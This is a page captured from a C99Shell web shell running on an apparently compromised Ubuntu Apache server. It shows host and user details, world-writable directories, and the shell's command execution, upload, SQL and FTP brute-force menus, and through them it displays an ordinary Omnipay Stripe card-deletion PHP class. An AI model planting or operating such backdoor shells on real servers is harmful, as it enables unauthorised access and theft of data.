!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/dokan/script/vendor/omnipay/stripe/src/Message/   drwxrwxrwx
Free 13.15 GB of 57.97 GB (22.69%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     DeleteCardRequest.php (1.84 KB)      -rwxrwxrwx
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * Stripe Delete Credit Card Request.
 */
namespace Omnipay\Stripe\Message;

/**
 * Stripe Delete Credit Card Request.
 *
 * This is normally used to delete a credit card from an existing
 * customer.
 *
 * You can delete cards from a customer or recipient. If you delete a
 * card that is currently the default card on a customer or recipient,
 * the most recently added card will be used as the new default. If you
 * delete the last remaining card on a customer or recipient, the
 * default_card attribute on the card's owner will become null.
 *
 * Note that for cards belonging to customers, you may want to prevent
 * customers on paid subscriptions from deleting all cards on file so
 * that there is at least one default card for the next invoice payment
 * attempt.
 *
 * In deference to the previous incarnation of this gateway, where
 * all CreateCard requests added a new customer and the customer ID
 * was used as the card ID, if a cardReference is passed in but no
 * customerReference then we assume that the cardReference is in fact
 * a customerReference and delete the customer.  This might be
 * dangerous but it's the best way to ensure backwards compatibility.
 *
 * @link https://stripe.com/docs/api#delete_card
 */
class DeleteCardRequest extends AbstractRequest
{
    public function 
getData()
    {
        
$this->validate('cardReference');

        return;
    }

    public function 
getHttpMethod()
    {
        return 
'DELETE';
    }

    public function 
getEndpoint()
    {
        if (
$this->getCustomerReference()) {
            
// Delete a card from a customer
            
return $this->endpoint.'/customers/'.
                
$this->getCustomerReference().'/cards/'.
                
$this->getCardReference();
        }
        
// Delete the customer.  Oops?
        
return $this->endpoint.'/customers/'.$this->getCardReference();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0052 ]--